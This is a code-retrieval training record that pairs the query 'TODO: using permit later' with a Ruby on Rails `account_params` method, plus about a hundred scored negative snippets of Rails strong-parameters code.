[ "0.7336371", "0.7320119", "0.7091228", "0.70347303", "0.7007563", "0.700508", "0.68952274", "0.68641496", "0.684512", "0.68254995", "0.68169713", "0.6742066", "0.66746795", "0.66689324", "0.66604316", "0.6647963", "0.6592216", "0.6581637", "0.6569032", "0.6538102", "0.6538102", "0.6518556", "0.6518556", "0.6507763", "0.6507763", "0.65005964", "0.6498852", "0.6494715", "0.6463865", "0.64505893", "0.6448117", "0.644358", "0.6437429", "0.6421173", "0.63900846", "0.63805014", "0.63698405", "0.6328097", "0.6328097", "0.6325011", "0.6311823", "0.62892157", "0.62892157", "0.62662894", "0.62662894", "0.6265248", "0.6249912", "0.6246704", "0.6243171", "0.6240067", "0.623046", "0.6225663", "0.62145704", "0.61854047", "0.6172746", "0.6146142", "0.61398166", "0.61266935", "0.6124621", "0.6072584", "0.60655004", "0.60585785", "0.60580236", "0.60550106", "0.60433096", "0.6015597", "0.6009972", "0.5997837", "0.59852344", "0.59850967", "0.5975734", "0.5973773", "0.5963235", "0.59316385", "0.59314686", "0.59168625", "0.5912967", "0.5912967", "0.5902532", "0.5902532", "0.58993053", "0.58969843", "0.5888332", "0.58880967", "0.5883823", "0.5883823", "0.5883823", "0.5883823", "0.5883823", "0.5883823", "0.5883823", "0.5883823", "0.5883823", "0.5883823", "0.58822465", "0.58763015", "0.58755493", "0.5867314", "0.5866366", "0.58658767" ]
0.59893584
68
TODO: using `permit` later
def account_params @account_params ||= params.require(:account).except(:user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted?; end", "def resource_params\n deserialized_params.permit!\n end", "def share_params\n# params.fetch(:share, {})\n params.fetch(:share).permit(:email, :view_perm, :analyze_perm, :export_perm, :download_perm)\n end", "def post_card_params\n params[:post_card].permit!\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def quote_params\n params.permit!\n end", "def allow_params_authentication!; end", "def form_params\n # Remove role and privilege ids as these are managed by the app not by\n # the active record associations\n params[:user].delete :role_ids\n params[:user].delete :privilege_ids\n params.require(:user).permit(user_allowable_params)\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def permit_data # for filter data pass from client , can put any name\n params.require(:data).permit( # this :data is root passed from client (writer function in store)\n \"id\",\n \"code\",\n \"name\",\n \"khr_name\",\n \"start_date\",\n \"end_date\",\n \"academic_year_id\",\n \"description\"\n # \"campus_id\",\n # \"is_deleted\"\n\n )\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def object_params\n params.require(resource.name.underscore.to_sym)\n .permit(resource_params)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def permit_data # for filter data pass from client , can put any name\n params.require(:data).permit( # this :data is root passed from client (writer function in store)\n # \"id\",\n \"code\",\n \"description\",\n \"tax_type_id\",\n # \"name\",\n \"tax_rate\",\n \"is_active\",\n \"is_deleted\"\n # \"status\"\n )\n end", "def expected_permitted_parameter_names; end", "def post_params\n permit_params\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def analise_privacidade_params\n #params.require(:analise_privacidade).permit(:rede_social, :url_rede_social, :descricao_analise, tipo_coumunicacoes_attributes: [:id, :tipo_comunicacao, :observacao])\n \n \n params.require(:analise_privacidade).permit!\n \n \n \n \n \n end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def permitted_params\n \t@permitted_params ||= PermittedParams.new(params, current_user)\n end", "def asset_fleet_params\n params.require(:asset_fleet).permit(AssetFleet.allowable_params)\n end", "def student_params(*args) #is the helper method \n\n\t\tparams.require(:student).permit(*args)\n\t\t#uses .require and .permit methods as stronger params to prevent hacks through inspect element right click edit html \n\t\t#require restricts, permit allows, and *args is for the custom arguments\n\tend", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def form_params\n params.permit(Document.allowable_params)\n end", "def permit_attributes\n params.require(resource_as_param_key).permit(*permitted_attributes)\n end", "def params_permit\n params.permit(:id)\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def form_params\n params.require(:upload).permit(Upload.allowable_params)\n end", "def post_params\n # params.require(:post).permit(policy(@post).permitted_attributes) instead of permitted_attributes\n params.require(:post).permit(:title, :body)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def card_params\n params[:card].permit!\n end", "def get_params\r\n #params.require(:widget).permit(:name)\r\n params.require(:widget).permit!\r\n end", "def permit_params\n params.require(:permit).permit(:permit_type, :applicant_name, :start_date, :end_date, :address, :payload, :geometry)\n end", "def set_permit\n @permit = Permit.find(params[:id])\n end", "def request_permitted?(item)\n true\n end", "def safe_params\n safe_attributes = %i[name key]\n params.require(:role).permit(safe_attributes)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def form_params\n params.require(:funding_request).permit(FundingRequest.allowable_params)\n end", "def activity_params\n params[:activity].permit!\n end", "def object_params\n params.require(Klass.name.downcase).permit(:name)\n end", "def permitted_params\n if is_singleton?\n singleton_permitted_params\n else\n params.require(:data).permit(allowed_resource_params.to_a)\n end\n end", "def role_master_params\n # params.require(:role_master).permit(:role_name)\n raw_parameters = { :role_name => \"#{params[:role_name]}\", :active => \"#{params[:active]}\", :description=> \"#{params[:description]}\" }\n parameters = ActionController::Parameters.new(raw_parameters)\n parameters.permit(:role_name, :active, :description)\n end", "def attr_params\n params.require(:attr).permit(:name)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def user_params\n # Rails 4+ requires you to whitelist attributes in the controller.\n params.fetch(:user, {}).permit(:username, :email, :password, :password_confirmation, :privilege, :status)\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def valid_params_request?; end", "def content_form_params\n params.require(form_param_key).permit!\n end", "def permitted_params(action, kind=nil)\n params.require(model_name).permit!\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def post_params\n params.require(:post).permit(:body, :username)\n end", "def set_permit\n @permit = Permit.find(params[:id])\n end", "def universe_params\n params.permit(:name)\n end", "def upload_params\n permit = policy(@upload || Upload).permitted_attributes\n params.require(:upload).permit(*permit)\n end", "def player_params\n # This is json\n json_params = ActionController::Parameters.new( JSON.parse(request.body.read) )\n json_params.require(:player).permit(:name, :age, :team_id)\n\n end", "def todo_params # todo4 , this is to allowing application to receive from the web.\n params.require(:todo).permit(:name, :description)\n end", "def system_platform_account_params\n params[:system_platform_account].except(:id).permit!\n end", "def param_perfil\n \tparams.require(:perfil).permit(:nombre, :apellidos, :sexo, :ciudad, :fecha_nacimiento)\n end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def student_params\n params.require(:student).permit!\n end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def permit_params\n params.require(:permit).permit(:permitid, :filename, :category_id, :site_id, :employee_id)\n end", "def backend_user_params\n params.permit!\n end", "def person_params\n params.require(:person).permit(:name, :occupation, :quote, :special_ability)\n end", "def preco_rotum_params\n params.permit()\n end", "def params_not_permitted\n logger.warn('exception: params not permitted')\n render plain: \"403 ForbiddEn\", status: 403\n end", "def post_params\n #params.require(:post).permit(:content, :user_id, :asset, :tag_list) //was not able to figure out how to pass all the params in post, revisit this\n params.permit(:content, :user_id, :asset, :tag_list)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def user_params\n params.require(:user).permit(:id, :name, :email, :password, :username,\n :allowance, :supervisor, :employee_status, :school_attending,\n :degree_type, :degree_program, :eligibility, :request => [:id,\n :amount_requested, :amount_paid, :date_processed, :processing_status,\n :notes, :request_approved, :documents_submitted])\n end", "def good_params\n params.permit(:title)\n end", "def form_params\n params.require(:culvert).permit(Culvert.new.allowable_params)\n end", "def visit_params\n params.require(:visit).permit(*allowable)\n end", "def permitted_params\n []\n end", "def user_params #este metodo SE PUEDE LLAMAR COMO QUIERAS, pero es necesario para que al crear un objeto se autorice su creacion (porque si no nos podrían meter codigo malicioso)\n\t\tparams.require(:user).permit(:name, :email, :password)\n\tend", "def post_params\n params.require(:post).permit!\n end", "def user_params\n params.require(:user).permit(policy(@user || User).permitted_attributes)\n end", "def user_params\n params.require(:user).permit(policy(@user || User).permitted_attributes)\n end", "def permitted_params_from_policy(object_or_class, key)\n _params = permitted_params[key]\n _attributes = policy(object_or_class).permitted_attributes\n ::ActionController::Parameters.new(_params).permit(*_attributes)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def resource_params\n # TODO DANGER!\n params.require(@resource_class.name.underscore.to_sym).permit!\n end", "def permitted=(_arg0); end", "def tipo_comunicacao_params\n #params.require(:tipo_comunicacao).permit(:analise_privacidade_attributes, :rede_social, :analise_privacidades_id, :tipo_comunicacao, :observacao)\n params.require(:tipo_comunicacao).permit!\n end", "def data_params\n # bỏ require(:user) đi vì dữ liệu truyền về từ data\n params.permit(:name, :username, :password, :password_confirmation, :birthday, :gender, :email, :phone, :address, :personal)\n end", "def post9_params\n params[:post9][:user_id] = current_user.id\n params.require(:post9).permit(:title, :content, :user_id)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def user_params\n params.permit(:name, :username)\n end", "def account_params\n params.require(:account).permit!\n end", "def service_params\n\t\tparams.require(:service).permit(*Service::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def person_params\n params.require(:person).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def research_question_params\n res = params.require(:research_question).permit(:name, :description, :private, :model_ids => [])\n res[:user] = current_user\n res\n end", "def permitted_params\n policy(resource || resource_class.new).send(\"permitted_#{action_name}_attributes\")\n end", "def bot_server_params\n \tparams.require(:bot_server).permit!\n end" ]
[ "0.6871635", "0.66476035", "0.6517377", "0.64820194", "0.6470737", "0.6463305", "0.6398253", "0.6387796", "0.6385445", "0.6371868", "0.6355452", "0.6353101", "0.6347623", "0.6334647", "0.6320074", "0.63141996", "0.6310634", "0.63091725", "0.6308163", "0.6296717", "0.6274876", "0.62731147", "0.6246883", "0.6240336", "0.6237026", "0.62232876", "0.6219767", "0.62151885", "0.62098736", "0.6202772", "0.62022376", "0.6184394", "0.61782205", "0.61679405", "0.61607623", "0.6156789", "0.6154434", "0.61490625", "0.6140703", "0.61387986", "0.6137956", "0.6137358", "0.6135026", "0.6129641", "0.6122312", "0.61181146", "0.6112967", "0.6109802", "0.6104497", "0.6096357", "0.6088655", "0.60844135", "0.6083432", "0.6076358", "0.6073174", "0.60715073", "0.60679066", "0.60672635", "0.60555655", "0.6053279", "0.60521334", "0.6049239", "0.60491616", "0.60483974", "0.60469717", "0.6044474", "0.60443205", "0.6043775", "0.6038962", "0.6038891", "0.6037549", "0.6036931", "0.60349935", "0.60271305", "0.6026544", "0.6026485", "0.60240924", "0.6017262", "0.60170484", "0.60162175", "0.6016192", "0.60158414", "0.6012538", "0.60117584", "0.60117584", "0.6008161", "0.5998981", "0.59959525", "0.59955907", "0.5988052", "0.5983648", "0.5981474", "0.5980799", "0.5978044", "0.59777683", "0.59731346", "0.5972795", "0.5972223", "0.5969242", "0.5967897", "0.5964945" ]
0.0
-1
============================================ Instance methods ============================================ Return the full name of this dashboard Currently a simple accessor to the dashboard name (used to include the company name)
def full_name self.name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def display_name\n display_name = @current_profile.display_name\n end", "def display_name\n name\n end", "def name\n @name ||= config(\"name\", \"WorkshopDash\")\n end", "def display_name\n name\n end", "def display_name\n name\n end", "def display_name\n @name\n end", "def admin_display_name\n \"#{course.organization.abbreviation} #{term.slug} #{course.number} (#{label})\"\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def display_name\n return @display_name\n end", "def get_name\n return \"#{name}\"\n end", "def name\r\n\t\t\t`#{BITS::BITSADMIN} /getdisplayname {#{@id}}`\r\n\t\tend", "def display_name\n return @display_name\n end", "def display_name\n NAME\n end", "def display_name\n NAME\n end", "def display_name\n return @display_name\n end", "def get_full_name\n title\n end", "def get_name\n return \"Name: \" + @name\n end", "def display_name\n @display_name\n end", "def full_name\n name\n end", "def fullname\n '%s @ %s-%s' % [name.titleize, realm.titleize, region.upcase]\n end", "def name\n company.blank? ? full_name : \"#{company} (#{full_name})\"\n end", "def display_name\n \"#{name}\"\n end", "def display_name\n \"#{name}\"\n end", "def display_name\n \"#{name}\"\n end", "def display_name\n @name.capitalize.freeze\n end", "def get_full_name\n description\n end", "def display_name\n public_name\n end", "def display_name\n @data['display_name']\n end", "def display_name\n\t\tself.name.titleize\n\tend", "def display_name\n name\n end", "def display_name\n name\n end", "def display_name\n name\n end", "def display_name\n @name.titlecase\n end", "def name\n \"#{id}-#{company_name}\"\n end", "def get_full_name\n self.title.to_s\n end", "def show_full_name\n name\n end", "def display_name\n username\n end", "def name\n @display_name || @name\n end", "def page_title\n if controller.controller_name == \"dashboards\" && params.key?(\"id\")\n \"Nifty #{Dashboard.get(params[:id]).name}\"\n elsif controller.controller_name == \"widgets\" && params.key?(\"dashboard_id\")\n \"Nifty #{Dashboard.get(params[:dashboard_id]).name} Widgets\"\n else\n \"Nifty Monitoring Dashboard\"\n end\n end", "def fullname\n name\n end", "def name\n display_name\n end", "def name\n company.blank? ? full_name : \"#{company} (#{full_name})\"\n end", "def display_name \n username\n end", "def name\n \"Lord Admiral #{@name}\"\n end", "def display_name\n if name.blank?\n github_username\n else\n name\n end\n end", "def get_full_name\n \"#{name} (#{description})\"\n end", "def full_name()\n @name.to_s\n end", "def full_name\n return '' unless profile\n profile.full_name\n end", "def get_full_name\n \"#{self.name} (desc.: #{self.description})\"\n end", "def display_name\n \t\"#{name}\"\n end", "def get_name\r\n self.name\r\n end", "def name\n @gapi[\"displayName\"]\n end", "def full_name\n json[\"entry_data\"][\"ProfilePage\"].first[\"graphql\"][\"user\"][\"full_name\"]\n end", "def get_full_name()\n self.name.to_s\n end", "def get_full_name()\n self.name.to_s\n end", "def name\n full_name\n end", "def display_name\n \"#{user} - #{group}\"\n end" ]
[ "0.69448954", "0.6909436", "0.6897259", "0.6893969", "0.6893969", "0.6860574", "0.6851009", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.682069", "0.68031263", "0.6783606", "0.6782008", "0.67800945", "0.67800945", "0.6777071", "0.67725736", "0.6768961", "0.6750496", "0.6735056", "0.6721668", "0.6718338", "0.6713863", "0.6713863", "0.6713863", "0.6692509", "0.66874605", "0.6678275", "0.66655046", "0.66603166", "0.66525793", "0.66525793", "0.66525793", "0.66459155", "0.6645806", "0.663536", "0.6631977", "0.66278297", "0.66232145", "0.6609361", "0.6601277", "0.65981895", "0.657236", "0.6566934", "0.6559022", "0.65511274", "0.6550871", "0.6545609", "0.6540705", "0.65173227", "0.65133405", "0.6508339", "0.65020823", "0.64982843", "0.64980924", "0.64980924", "0.6492885", "0.6483195" ]
0.6689224
68
Return all the organizations linked to this dashboard and to which the user has access If the dashboard is a template, return all the current user's organizations
def organizations(org_list = nil) if org_list return org_list if dashboard_type == 'template' org_list.to_a.select { |e| organization_ids.include?(e.uid) || organization_ids.include?(e.id) } else MnoEnterprise::Organization.where('uid.in' => organization_ids).to_a end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_organizations\r\n Organization.organizations_by_user(self)\r\n end", "def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end", "def current_user_oganizations\n endpoint = '/api/user/orgs'\n @logger.debug(\"Getting current user organizations (GET #{endpoint})\") if @debug\n get(endpoint)\n end", "def active_organizations\n admin? ? Organization.all : organizations.map(&organization_mapper).flatten\n end", "def all_organizations\n admin? ? Organization.all : organizations.map(&organization_mapper(false)).flatten\n end", "def own_organizations\n api.org_memberships.select { |org| org[:role] == \"admin\"}\n end", "def index\n redirect_to :root unless current_user.is_admin?\n @organizations = Organization.all\n end", "def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(\"#{@api_url}/org/\", \"\")\n end\n results\n end", "def list_org\n @users = User.where(organization: true)\n\n render \"list_org\"\n end", "def index\n @user_organizations = UserOrganization.all\n end", "def index\n @admins_organizations = Organization.all\n end", "def orgs\n client.organizations\n end", "def set_visible_orgs\n @visible_orgs ||= Organization.find_by_user(logged_in_user.username)\n end", "def organizations\n self.organization_ids.map do |uid|\n MnoEnterprise::Organization.find_by(uid: uid)\n end\n end", "def orgs\n @orgs ||= begin\n client.organizations.map(&:login)\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n []\n end\n end", "def index\n @organizations = Organization.where(:id => current_user.organization_id)\n \n respond_with(@organizations)\n end", "def index\n @organizations = Spree::Organization.all\n end", "def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end", "def current_organization_users\n endpoint = '/api/org/users'\n @logger.debug(\"Getting organization users (GET #{endpoint})\") if @debug\n get(endpoint)\n end", "def organizations_by_user(user)\n @organizations.values.select { |org| org.is_member?(user) }\n end", "def managed_organizations\n if has_role?(:org_admin)\n org_ids = roles.where(name: Role::NAMES[:org_admin]).first.ref_ids\n Organization.in(id: org_ids)\n else\n []\n end\n end", "def index\n @orgs = policy_scope(Org)\n end", "def index\n @organization_accounts = OrganizationAccount.all.sort_by(&:organization_name).reverse\n \n if user_signed_in? && current_user.admin?\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organization_accounts }\n end\n else\n redirect_to root_path\n end\n end", "def admin_organization_stats\n get_admin_stats \"orgs\"\n end", "def list\n @connection.get('/user/orgs').map do |org_data|\n GitHubApi::Org.new(self, org_data)\n end\n end", "def find_organizations\n Organization.all\n end", "def index\n @organization = current_user.organization\n @merits = @organization.merits\n end", "def organizations\n if Interface.first.nil?\n redirect_to root_url and return\n end\n\n respond_to do |format|\n format.html {\n render partial: 'organization'\n }\n end\n end", "def index\n # Get page number\n page = params[:page].nil? ? 1 : params[:page]\n\n if current_user.admin?\n @organizations = Organization.all.paginate(page: page, per_page: PAGE_COUNT)\n else\n if current_user.organization\n redirect_to current_user.organization\n else\n redirect_to new_organization_path\n end\n end\n end", "def index\n @organizations = Organization.all\n end", "def index\n @orgs = Org.all\n end", "def organizations\n orgs = []\n Organization.all.each do |o|\n orgs.push(Api::V1::OrganizationSerializer.new(o, @instance_options).attributes)\n end\n orgs\n end", "def organizations\r\n OrganizationsController.instance\r\n end", "def list \n @organizations = Organization.all\n \n render \"list\"\n end", "def index\n @clients_organizations = ClientsOrganization.all\n end", "def organisational\n authorize Template\n templates = Template.latest_version_per_org(current_user.org.id)\n .where(customization_of: nil, org_id: current_user.org.id)\n published = templates.count { |t| t.published? || t.draft? }\n\n @orgs = Org.includes(identifiers: :identifier_scheme).all if current_user.can_super_admin?\n @title = if current_user.can_super_admin?\n format(_('%{org_name} Templates'), org_name: current_user.org.name)\n else\n _('Own Templates')\n end\n @templates = templates.page(1)\n @query_params = { sort_field: 'templates.title', sort_direction: 'asc' }\n @all_count = templates.length\n @published_count = (published.presence || 0)\n @unpublished_count = if published.present?\n templates.length - published\n else\n templates.length\n end\n render :index\n end", "def get_organizations\n org_references =\n locations.each_with_object({}) do |loc, acc|\n reference = loc.resource.managingOrganization.reference\n org_id = reference.match(ID_MATCHER)[1]\n\n acc[org_id] ||= []\n acc[org_id] << loc\n end\n\n facility_identifiers = org_references&.keys&.join(',')\n org_response = organization_service.search(_id: facility_identifiers, _count: '100')\n\n org_response&.resource&.entry\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def admin_organizations_with_protocols\n Organization.authorized_for_identity(@id).joins(:sub_service_requests)\n end", "def list\n @users = User.where(organization: false)\n\n render \"list\"\n end", "def organizations_with_access(access_type = ACCESS_STATES[:RESTRICTED])\n subscribed_organizations.includes(teams: :subscriptions).where(\"subscriptions.access_type = ?\", access_type)\n end", "def index\n @organizations = Organization.by_assignments(current_user)\n @contents = Content.accessible(current_user)\n end", "def get_organizations\n begin\n github_api_setup.organizations.list\n rescue Exception => e\n logger.error \"Github #get_organizations error #{e}\"\n end\n end", "def account_organization\n get('account/organization')\n end", "def list_org\n __log_activity\n __debug_route\n prm = paginator.initial_parameters.except(*Paginator::NON_SEARCH_KEYS)\n org = current_org and current_org!(prm, org)\n terms = prm.delete(:like)\n found = { list: get_accounts(*terms, **prm) }\n @list = paginator.finalize(found, **prm)\n opt = { locals: { name: org&.label } }\n respond_to do |format|\n format.html { render 'account/index', **opt }\n format.json { render 'account/index', **opt }\n format.xml { render 'account/index', **opt }\n end\n end", "def organizations\n\t@organizations = Organization.all\n\t@organization_names = []\n\[email protected] do |o|\n\t\t@organization_names << o.name\n\tend\n\t\n\trespond_to do |format|\n\t\tformat.html { render :json => @organization_names }\n\tend\n end", "def read_all(user_guid)\n organizations_list = []\n orgs_list = @client.organizations\n\n orgs_list.each do |org|\n owner = org.managers.find { |manager| manager.guid == user_guid }\n billing = org.billing_managers.find { |billing| billing.guid == user_guid }\n auditor = org.auditors.find { |auditor| auditor.guid == user_guid }\n\n if owner || billing || auditor\n organizations_list << Organization.new(org.name, 0, org.users.count, org.guid, false)\n end\n end\n\n organizations_list.sort! { |first_org, second_org| first_org.name.downcase <=> second_org.name.downcase }\n end", "def GetOrgs params = {}\n\n params = params.merge(path: 'organizations.json')\n APICall(params)\n\n end", "def get_user_organizations(user_id)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n\n get \"#{users_path}/#{user_id}/organizations\"\n end", "def admin_index\n authorize User\n @users = current_user.org.users.includes(:roles)\n end", "def organization\n _get(\"/account/organization\") { |json| json }\n end", "def orgs(enterprise = 'default')\n @api.orgs enterprise\n end", "def index\n render_not_found('organization') unless parent_organization\n @widgets = parent_organization.widgets\n end", "def index\n # @organisations = current_user.organisations.order(:name)\n @organisations = Organisation.order(:name)\n end", "def index\n @group_organizations = GroupOrganization.all\n end", "def orgs(params = {})\n params.merge!(key: 'orgs')\n objects_from_response(Code42::Org, :get, 'org', params)\n end", "def list(*args)\n params = arguments(args).params\n\n if (user_name = params.delete('user'))\n response = get_request(\"/users/#{user_name}/orgs\", params)\n elsif args.map(&:to_s).include?('every')\n response = get_request('/organizations', params)\n else\n # For the authenticated user\n response = get_request('/user/orgs', params)\n end\n return response unless block_given?\n response.each { |el| yield el }\n end", "def index\n @organization_profiles = policy_scope(OrganizationProfile).all\n authorize User\n end", "def index\n if params['user_id']\n @user = User.find(params['user_id'])\n if current_user && @user.id == current_user.id\n organization_ids = @user.organizations.map {|o| o.id}\n @spaces = @user.spaces.where(organization_id: [nil] + organization_ids)\n else\n @spaces = @user.spaces.is_public\n end\n elsif params['organization_id']\n if current_user && current_user.member_of?(params['organization_id'])\n @spaces = Organization.find(params['organization_id']).spaces\n else\n @spaces = Organization.find(params['organization_id']).spaces.is_public\n end\n end\n render json: SpacesRepresenter.new(@spaces).to_json\n end", "def index\n @organization_connections = OrganizationConnection.all\n end", "def index\n if current_user.role == \"su\"\n @organizations = Organization.all\n elsif current_user.role == \"ru\"\n @organizations = Organization.find_by_sql(\"select * from organizations where id in (select organization_id from org_users where user_id = #{current_user.id}) \")\n elsif current_user.role == \"sub\"\n @projects = Project.find_by_sql(\"select * for projects where id in (select project_id from user_project where user_id = '#{current_user.id}')\")\n end \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "def index\n if current_user.super_admin?\n @organisations = Organisation.all.order(:id)\n render json: @organisations.to_json\n else\n head :no_content\n end\n end", "def general_user_organizations_with_protocols\n Protocol.joins(:project_roles).where(project_roles: { identity_id: @id } ).where.not(project_roles: { project_rights: 'none' }).map(&:organizations).flatten.uniq\n end", "def index\n @sourcing_orgs = SourcingOrg.all\n end", "def connected_organizations\n return @connected_organizations\n end", "def index\n @people = current_organization.people.all\n end", "def orgs\n return @orgs if defined?(@orgs)\n\n @orgs = []\n orgs_from_annotations.each { |org| @orgs << org unless org_found(@orgs, org) }\n orgs_from_guidance_groups.each { |org| @orgs << org unless org_found(@orgs, org) }\n @orgs\n end", "def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n _do_request(grafana_options)\n rescue BackendError\n nil\n end", "def org_users\n synchronize { return @org_users if @org_users }\n\n users = {}\n orgs = settings.github_orgs || []\n orgs.each do |org|\n octokit.organization_members(org).each do |user|\n if users.has_key?(user.login)\n users[user.login][:orgs] << org\n else\n users[user.login] = user.to_h\n users[user.login][:mfa_enabled] = true\n users[user.login][:orgs] = [org]\n end\n end\n end\n orgs.each do |org|\n octokit.organization_members(org, filter: '2fa_disabled').each do |user|\n users[user.login][:mfa_enabled] = false\n end\n end\n\n synchronize { @org_users = users }\n end", "def list(*args)\n params = args.extract_options!\n normalize! params\n\n response = if (user_name = params.delete(\"user\"))\n get_request(\"/users/#{user_name}/orgs\", params)\n else\n # For the authenticated user\n get_request(\"/user/orgs\", params)\n end\n return response unless block_given?\n response.each { |el| yield el }\n end", "def index\n @host_orgs = HostOrg.all\n end", "def viewable_by(user, organization)\n group_ids = user.organization_group_ids(organization)\n joined = all.left_joins(roles: %i[users_roles groups_roles])\n joined.where(UsersRole.arel_table[:user_id].eq(user.id)).or(\n 